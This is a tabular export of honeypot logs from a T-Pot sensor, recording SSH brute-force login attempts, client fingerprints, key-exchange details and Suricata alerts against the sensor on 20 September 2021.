27876	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:15:37.985283+03	2021-09-20 14:30:02.097524+03	{"_id": "vwbrAnwBvYTbRNuEKyoF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [test/zxcvbnm] failed", "session": "f359bd8adf02", "@version": "1", "password": "zxcvbnm", "username": "test", "timestamp": "2021-09-20T11:15:37.985283Z", "@timestamp": "2021-09-20T11:15:37.985Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27877	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:15:39.109776+03	2021-09-20 14:30:02.098523+03	{"_id": "xAbrAnwBvYTbRNuELiru", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/2020] failed", "session": "f25012e6ece1", "@version": "1", "password": "2020", "username": "root", "timestamp": "2021-09-20T11:15:39.109776Z", "@timestamp": "2021-09-20T11:15:39.109Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27878	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:15:39.914004+03	2021-09-20 14:30:02.100525+03	{"_id": "yQbrAnwBvYTbRNuEMCrP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1861771373227606, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 37484, "dest_port": 22, "timestamp": "2021-09-20T11:15:39.914004Z", "@timestamp": "2021-09-20T11:15:39.914Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27879	81.71.17.12	109.199.241.180	Fatt	2021-09-20 14:15:40.251381+03	2021-09-20 14:30:02.101523+03	{"_id": "zAbrAnwBvYTbRNuEMioS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "81.71.17.12", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 41426, "dest_port": 22, "timestamp": "2021-09-20T11:15:40.251381", "@timestamp": "2021-09-20T11:15:40.251Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
27880	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:40.242945+03	2021-09-20 14:30:02.102524+03	{"_id": "ywbrAnwBvYTbRNuEMioR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "81.71.17.12", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41426, "timestamp": "2021-09-20T11:15:40.242945", "@timestamp": "2021-09-20T11:15:40.242Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27881	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:39.971586+03	2021-09-20 14:30:02.103524+03	{"_id": "zQbrAnwBvYTbRNuEMirX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "10e67aad7ad1", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:15:39.971586Z", "@timestamp": "2021-09-20T11:15:39.971Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
27882	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:40.477654+03	2021-09-20 14:30:02.104524+03	{"_id": "zwbrAnwBvYTbRNuEMirX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "751171bb91b1", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:15:40.477654Z", "@timestamp": "2021-09-20T11:15:40.477Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27883	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:15:40.583134+03	2021-09-20 14:30:02.106524+03	{"_id": "3wbrAnwBvYTbRNuENSr7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 37484, "dest_port": 22, "timestamp": "2021-09-20T11:15:40.583134", "@timestamp": "2021-09-20T11:15:40.583Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27884	81.71.17.12	109.199.241.180	Fatt	2021-09-20 14:15:42.305974+03	2021-09-20 14:30:02.107523+03	{"_id": "5QbrAnwBvYTbRNuEOSrk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "81.71.17.12", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 41588, "dest_port": 22, "timestamp": "2021-09-20T11:15:42.305974", "@timestamp": "2021-09-20T11:15:42.305Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
27885	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:42.306602+03	2021-09-20 14:30:02.108523+03	{"_id": "5gbrAnwBvYTbRNuEOiqp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "f7cdbb9f3865", "@version": "1", "timestamp": "2021-09-20T11:15:42.306602Z", "@timestamp": "2021-09-20T11:15:42.306Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27886	81.71.17.12	109.199.241.180	Suricata	2021-09-20 14:15:40.251381+03	2021-09-20 14:30:02.109524+03	{"_id": "yAbrAnwBvYTbRNuEMCrO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:15:39.679974+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 887, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.17.12", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 987556549976102, "payload": "AAADzAYUlfx8usF08IwAFlnpON9f8QAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 41426, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:15:40.251381Z", "@timestamp": "2021-09-20T11:15:40.251Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........|..t....Y.8._....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
42750	192.168.20.118	109.199.241.180	Suricata	2021-09-20 16:17:35.513668+03	2021-09-20 16:30:02.182745+03	{"_id": "LQZaA3wBvYTbRNuE0ZjS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.118", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:17:35.513668Z", "@timestamp": "2021-09-20T13:17:35.513Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	